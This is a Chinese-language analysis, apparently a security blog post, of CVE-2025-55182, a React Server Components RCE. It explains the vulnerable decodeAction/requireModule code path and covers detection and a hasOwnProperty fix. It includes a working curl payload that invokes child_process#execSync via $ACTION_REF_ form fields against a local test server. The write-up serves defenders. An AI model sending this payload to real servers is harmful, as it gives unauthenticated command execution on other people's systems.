满分漏洞?react2shell?核弹?CVE-2025-55182
字数 1534 2025-12-05 12:06:50

CVE-2025-55182 React服务器端原型污染漏洞分析文档

一、漏洞概述

CVE-2025-55182是React框架中的一个高危漏洞,CVSS评分达到10.0。该漏洞存在于React服务器组件(RSC)的实现中,允许攻击者通过原型污染实现远程代码执行。

漏洞类型

  • 原型污染漏洞
  • 可能导致远程代码执行(RCE)

影响版本

  • React服务器组件相关版本

二、环境搭建与复现

2.1 环境准备

# 克隆PoC仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc

# 安装依赖
npm install

# 启动漏洞服务器(端口3002)
npm start

2.2 漏洞验证

# 执行PoC验证漏洞
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["ifconfig"]}'

三、漏洞技术分析

3.1 漏洞入口点

漏洞核心存在于decodeAction函数中,该函数负责处理FormData并执行动态路由分发。

3.2 关键函数分析

3.2.1 decodeAction函数

exports.decodeAction = function (body, serverManifest) {
  var formData = new FormData(),
      action = null;
  
  body.forEach(function (value, key) {
    key.startsWith("$ACTION_")
      ? key.startsWith("$ACTION_REF_")
        ? ((value = "$ACTION_" + key.slice(12) + ":"),
          (value = decodeBoundActionMetaData(body, serverManifest, value)),
          (action = loadServerReference(serverManifest, value.id, value.bound)))
        : key.startsWith("$ACTION_ID_") &&
          ((value = key.slice(11)),
          (action = loadServerReference(serverManifest, value, null)))
      : formData.append(key, value);
  });
  
  return null === action
    ? null
    : action.then(function (fn) {
        return fn.bind(null, formData);
      });
};

功能分析:

  • 解析FormData数据
  • 识别$ACTION_REF_$ACTION_ID_字段
  • 调用loadServerReference加载服务器引用

3.2.2 loadServerReference函数

function loadServerReference(bundlerConfig, id, bound) {
  var serverReference = resolveServerReference(bundlerConfig, id);
  bundlerConfig = preloadModule(serverReference);
  
  return bound
    ? Promise.all([bound, bundlerConfig]).then(function (_ref) {
        _ref = _ref[0];
        var fn = requireModule(serverReference);
        return fn.bind.apply(fn, [null].concat(_ref));
      })
    : bundlerConfig
    ? Promise.resolve(bundlerConfig).then(function () {
        return requireModule(serverReference);
      })
    : Promise.resolve(requireModule(serverReference));
}

关键点:

  • 调用resolveServerReference解析模块ID
  • 使用requireModule获取函数引用
  • 通过fn.bind.apply绑定参数

3.2.3 resolveServerReference函数

function resolveServerReference(bundlerConfig, id) {
  var name = "",
      resolvedModuleData = bundlerConfig[id];
  
  if (resolvedModuleData) name = resolvedModuleData.name;
  else {
    var idx = id.lastIndexOf("#");
    -1 !== idx &&
      ((name = id.slice(idx + 1)),
      (resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
    
    if (!resolvedModuleData)
      throw Error('Could not find the module "' + id + '" in the React Server Manifest.');
  }
  
  return resolvedModuleData.async
    ? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
    : [resolvedModuleData.id, resolvedModuleData.chunks, name];
}

解析逻辑:

  • 使用#分割ID(如vm#runInThisContext
  • 模块部分:vm
  • 函数名称部分:runInThisContext
  • 返回metadata数组:[moduleId, chunks, exportName]

3.2.4 漏洞核心 - requireModule函数

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  
  if (4 === metadata.length && "function" === typeof moduleExports.then)
    if ("fulfilled" === moduleExports.status)
      moduleExports = moduleExports.value;
    else throw moduleExports.reason;
  
  return "*" === metadata[2]
    ? moduleExports
    : "" === metadata[2]
    ? moduleExports.__esModule
      ? moduleExports.default
      : moduleExports
    : moduleExports[metadata[2]]; // ❌❌ 漏洞点:没有hasOwnProperty检查!
}

漏洞分析:

  • metadata[2]完全由攻击者控制
  • 直接通过moduleExports[metadata[2]]访问属性
  • 缺少hasOwnProperty安全检查
  • 允许访问模块原型链上的任意属性

3.3 攻击原理

攻击者可以构造特殊的ID格式:模块名#函数名

  • 示例:child_process#execSync
  • 模块解析:child_process模块
  • 函数调用:execSync函数
  • 参数绑定:通过bound数组传递

四、漏洞检测方案

4.1 进程检测

# 检测React服务器进程
ps aux | grep "node --conditions react-server"

4.2 白盒检测

  • 检查项目依赖中是否包含react-dom
  • 确认是否使用React服务器组件功能
  • 审查服务器清单(serverManifest)配置

4.3 黑盒检测

  • 扫描可能存在RSC端点的应用
  • 尝试发送特制的$ACTION_REF_请求
  • 监控异常响应行为

五、防护措施

5.1 立即措施

  1. 升级React版本

    npm update react react-dom
    
  2. 输入验证

    • $ACTION_REF_$ACTION_ID_字段进行严格验证
    • 限制可调用的模块和函数白名单
  3. WAF规则

    • 拦截包含特殊模式模块名#函数名的请求
    • 监控异常的进程创建行为

5.2 代码修复

requireModule函数中添加安全检查:

// 修复后的代码
function requireModule(metadata) {
  // ... 原有代码 ...
  
  return "*" === metadata[2]
    ? moduleExports
    : "" === metadata[2]
    ? moduleExports.__esModule
      ? moduleExports.default
      : moduleExports
    : Object.prototype.hasOwnProperty.call(moduleExports, metadata[2]) // ✅ 安全检查
    ? moduleExports[metadata[2]]
    : null; // 或抛出错误
}

六、影响评估

6.1 风险等级

  • CVSS评分: 10.0(严重)
  • 攻击复杂度: 低
  • 权限要求: 无需认证
  • 影响范围: 可控的RCE

6.2 实际影响

  • 国内使用React服务器组件的应用相对较少
  • PoC需要特定的服务器清单配置才能成功利用
  • 但存在风险的应用可能面临严重威胁

七、总结

CVE-2025-55182暴露了React框架在服务器端组件实现中的安全隐患。虽然实际利用需要特定条件,但漏洞本身的严重性不容忽视。开发人员应及时更新依赖,并加强对用户输入的验证机制。

关键要点:

  • 漏洞本质是原型污染导致的任意函数调用
  • 影响React服务器组件实现
  • 修复重点是添加正确的属性访问检查
  • 实际风险取决于具体的应用配置和使用场景
CVE-2025-55182 React服务器端原型污染漏洞分析文档 一、漏洞概述 CVE-2025-55182是React框架中的一个高危漏洞,CVSS评分达到10.0。该漏洞存在于React服务器组件(RSC)的实现中,允许攻击者通过原型污染实现远程代码执行。 漏洞类型 原型污染漏洞 可能导致远程代码执行(RCE) 影响版本 React服务器组件相关版本 二、环境搭建与复现 2.1 环境准备 2.2 漏洞验证 三、漏洞技术分析 3.1 漏洞入口点 漏洞核心存在于 decodeAction 函数中,该函数负责处理FormData并执行动态路由分发。 3.2 关键函数分析 3.2.1 decodeAction函数 功能分析: 解析FormData数据 识别 $ACTION_REF_ 或 $ACTION_ID_ 字段 调用 loadServerReference 加载服务器引用 3.2.2 loadServerReference函数 关键点: 调用 resolveServerReference 解析模块ID 使用 requireModule 获取函数引用 通过 fn.bind.apply 绑定参数 3.2.3 resolveServerReference函数 解析逻辑: 使用 # 分割ID(如 vm#runInThisContext ) 模块部分: vm 函数名称部分: runInThisContext 返回metadata数组: [moduleId, chunks, exportName] 3.2.4 漏洞核心 - requireModule函数 漏洞分析: metadata[2] 完全由攻击者控制 直接通过 moduleExports[metadata[2]] 访问属性 缺少 hasOwnProperty 安全检查 允许访问模块原型链上的任意属性 3.3 攻击原理 攻击者可以构造特殊的ID格式: 模块名#函数名 示例: child_process#execSync 模块解析: child_process 模块 函数调用: execSync 函数 参数绑定:通过 bound 数组传递 四、漏洞检测方案 4.1 进程检测 4.2 白盒检测 检查项目依赖中是否包含 react-dom 确认是否使用React服务器组件功能 审查服务器清单(serverManifest)配置 4.3 黑盒检测 扫描可能存在RSC端点的应用 尝试发送特制的 $ACTION_REF_ 请求 监控异常响应行为 五、防护措施 5.1 立即措施 升级React版本 输入验证 对 $ACTION_REF_ 和 $ACTION_ID_ 字段进行严格验证 限制可调用的模块和函数白名单 WAF规则 拦截包含特殊模式 模块名#函数名 的请求 监控异常的进程创建行为 5.2 代码修复 在 requireModule 函数中添加安全检查: 六、影响评估 6.1 风险等级 CVSS评分 : 10.0(严重) 攻击复杂度 : 低 权限要求 : 无需认证 影响范围 : 可控的RCE 6.2 实际影响 国内使用React服务器组件的应用相对较少 PoC需要特定的服务器清单配置才能成功利用 但存在风险的应用可能面临严重威胁 七、总结 CVE-2025-55182暴露了React框架在服务器端组件实现中的安全隐患。虽然实际利用需要特定条件,但漏洞本身的严重性不容忽视。开发人员应及时更新依赖,并加强对用户输入的验证机制。 关键要点: 漏洞本质是原型污染导致的任意函数调用 影响React服务器组件实现 修复重点是添加正确的属性访问检查 实际风险取决于具体的应用配置和使用场景